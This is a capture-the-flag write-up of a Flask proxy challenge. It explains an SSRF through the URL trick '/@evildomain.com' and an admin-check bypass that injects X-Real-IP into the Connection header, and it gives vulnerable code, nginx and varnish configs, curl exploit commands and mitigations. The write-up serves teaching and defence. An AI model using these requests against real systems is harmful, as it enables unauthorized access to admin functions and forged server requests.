Code Snippet Serie - 04 - SSRF and HTTP Hop-by-Hop Header Injection
Challenge Description
This challenge, authored by @baguette, involves exploiting vulnerabilities in a Flask application that acts as a proxy. The application is behind a cache server managed by a varnish and a load balancer managed by a nginx. The application has two main routes: /
and /admin
. The /
route proxies requests to https://root-me.org
, while the /admin
route restricts access based on the presence of the X-Real-IP
header.
Vulnerability Overview
🛑 Vulnerabilities: The application is vulnerable to Server-Side Request Forgery (SSRF) and HTTP Hop-by-Hop Header Injection.
1. SSRF Vulnerability
The SSRF vulnerability lies in the proxy route, which constructs a URL using user-supplied input without proper validation.
2. HTTP Hop-by-Hop Header Injection
The HTTP Hop-by-Hop Header Injection vulnerability allows attackers to manipulate headers in a way that can bypass security checks or cause unexpected behavior in the backend.
Exploitation Process
1. SSRF Exploitation
-
Discovery of SSRF Vulnerability:
- The proxy route constructs a URL using the
path
parameter without proper validation. - An attacker can manipulate the URL to make the server request arbitrary resources.
@app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def proxy(path): SITE_NAME = 'https://root-me.org' return get(f'{SITE_NAME}{path}').content
- The proxy route constructs a URL using the
-
Crafting a Malicious URL:
- By using a URL like
/@evildomain.com
, the server will interpret it ashttps://root-me.org@evildomain.com
, effectively making a request toevildomain.com
.
- By using a URL like
-
Submitting the Malicious URL:
- Send a request to the vulnerable endpoint with the crafted URL.
- The server will fetch content from the attacker-controlled domain.
curl http://<target>/@evildomain.com
2. HTTP Hop-by-Hop Header Injection Exploitation
-
Understanding Hop-by-Hop Headers:
- Hop-by-hop headers are meant to be consumed by the proxy handling the request and not forwarded to the next hop.
- Headers like
Connection
,Keep-Alive
,Transfer-Encoding
, etc., are treated as hop-by-hop by default. - If we set the HTTP headr
X-Real-IP
as hop-by-hop:- nginx will create the
X-Real-IP
header and forward it to varnish
location / { proxy_pass http://cache_servers; proxy_set_header Connection $http_connection; proxy_set_header X-Real-IP $remote_addr; proxy_pass_request_headers on; }
- varnish will consume and then drop it, forwarding the request to flask without the header
sub vcl_pipe { set bereq.http.X-Real-IP = req.http.X-Real-IP; }
- flask will not have the
X-Real-IP
header, so it will consider that the request has not been sent by varnish, so it was an admin.
@app.route('/admin') def admin_panel(): app.logger.info(request.headers) client_ip = request.headers.get('X-Real-IP', None) if not client_ip: return "Welcome to the admin panel!" else: abort(403)
- nginx will create the
-
Crafting a Malicious Request:
- Use a tool like
curl
to inject hop-by-hop headers. - Example:
curl -H 'Connection: close, X-Real-IP' http://target
- Use a tool like
-
Submitting the Malicious Request:
- The injected
Connection
header will cause the Varnish cache server to remove theX-Real-IP
header, bypassing security checks on the Flask application.
curl -H 'Connection: close, X-Real-IP' http://target Welcome to the admin panel!
- The injected
Mitigation
🔒 To mitigate these vulnerabilities, the following measures can be taken:
-
For SSRF:
- As usual, validate and sanitize user input to ensure only allowed URLs are requested.
- Use a whitelist of allowed domains.
-
For HTTP Hop-by-Hop Header Injection:
- Ensure proxies properly consume and do not forward hop-by-hop headers.
- Implement strict header validation and filtering.